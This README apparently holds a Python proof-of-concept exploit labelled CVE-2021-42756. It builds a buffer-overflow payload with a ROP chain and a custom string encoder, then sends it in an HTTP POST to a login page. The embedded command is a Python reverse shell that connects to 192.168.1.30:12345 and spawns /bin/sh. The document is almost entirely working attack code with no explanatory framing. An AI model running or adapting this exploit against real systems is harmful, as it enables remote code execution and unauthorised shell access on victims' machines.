README.md
Rendering markdown...
import socket
def dissolve_str(input_s):
output_s = ''
dslv_map = [(0x79,0x57),(0x79,0x58),(0x79,0x59),(0x79,0x5a),
(0x79,0x5b),(0x79,0x5c),(0x79,0x5d),(0x79,0x5e),
(0x79,0x5f),(0x79,0x60),(0x79,0x61),(0x79,0x62),
(0x79,0x63),(0x79,0x64),(0x79,0x65),(0x79,0x66),
(0x79,0x67),(0x79,0x68),(0x79,0x69),(0x79,0x6a),
(0x79,0x6b),(0x79,0x6c),(0x79,0x6d),(0x79,0x6e),
(0x79,0x6f),(0x79,0x70),(0x79,0x71),(0x79,0x72),
(0x79,0x73),(0x79,0x74),(0x79,0x75),(0x79,0x76),
(0x5b,0x30),(0x5b,0x31),(0x5b,0x32),(0x5b,0x33),
(0x7b,0x7b),(0x7b,0x7c),(0x7b,0x7d),(0x7b,0x7e),
(0x7b,0x3f),(0x7b,0x40),(0x7b,0x41),(0x7b,0x42),
(0x7b,0x43),(0x7b,0x44),(0x7b,0x45),(0x7b,0x46),
(0x7b,0x47),(0x7b,0x48),(0x7b,0x49),(0x7b,0x4a),
(0x7b,0x4b),(0x7b,0x4c),(0x7b,0x4d),(0x7b,0x4e),
(0x7b,0x4f),(0x7b,0x50),(0x7b,0x51),(0x7b,0x52),
(0x7b,0x53),(0x7b,0x54),(0x7b,0x55),(0x7b,0x56),
(0x7b,0x57),(0x7b,0x58),(0x7b,0x59),(0x7b,0x5a),
(0x7b,0x5b),(0x7b,0x5c),(0x7b,0x5d),(0x7b,0x5e),
(0x7b,0x5f),(0x7b,0x60),(0x4d,0x41),(0x4d,0x42),
(0x4d,0x43),(0x4d,0x44),(0x4d,0x45),(0x4d,0x46),
(0x4d,0x47),(0x4d,0x48),(0x4d,0x49),(0x4d,0x4a),
(0x4d,0x4b),(0x4d,0x4c),(0x4d,0x4d),(0x4d,0x4e),
(0x4d,0x4f),(0x4d,0x50),(0x4d,0x51),(0x4d,0x52),
(0x4d,0x53),(0x4d,0x54),(0x4d,0x55),(0x4d,0x56)]
for x in input_s:
idx = ord(x) - 0x20
x = dslv_map[idx][0]
y = dslv_map[idx][1]
output_s += chr(x)
output_s += chr(y)
return output_s.encode()
def craft_payload():
base = 0x555555554000 # disable ASLR for PoC
g_00 = 0x000000000011bbd0 # push rsp ; pop rax ; ret
g_01 = 0x000000000011aad5 # pop rdi ; ret
g_02 = 0x00000000008e14e5 # add rdi, rax ; cmp rdx, rdi ; setae al ; ret
addr_sys = 0x1179a0
g_l = [g_00, g_01, g_02, addr_sys]
for i in range(len(g_l)):
addr = f'{base + g_l[i]:0>16x}'
g_l[i] = ''.join(reversed([addr[i:i+2] for i in range(0, len(addr),2)])).encode()
p = b'username=r00t&mitb_password_hidden='
p += b'A'*0x400*2
p += b'B'*8*2
p += g_l[0]
p += g_l[1]
p += b'2000000000000000'
p += g_l[2]
p += g_l[3]
cmd = "/bin/python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.30\",12345));[os.dup2(s.fileno(),x) for x in range(3)];os.execl(\"/bin/sh\",\"sh\");'"
d_cmd = dissolve_str(cmd)
p += d_cmd
return p
def trigger_vuln():
print('[>] PoC for CVE-2021-42756')
payload = craft_payload()
payload_len = str(len(payload)).encode()
data = b'POST /dvwa/login.php HTTP/1.1\r\nHost: 192.168.1.10\r\nContent-Length: '
data += payload_len + b'\r\n\r\n'
data += payload
server_addr = ('192.168.1.10', 80)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(server_addr)
sock.sendall(data)
except:
pass
trigger_vuln()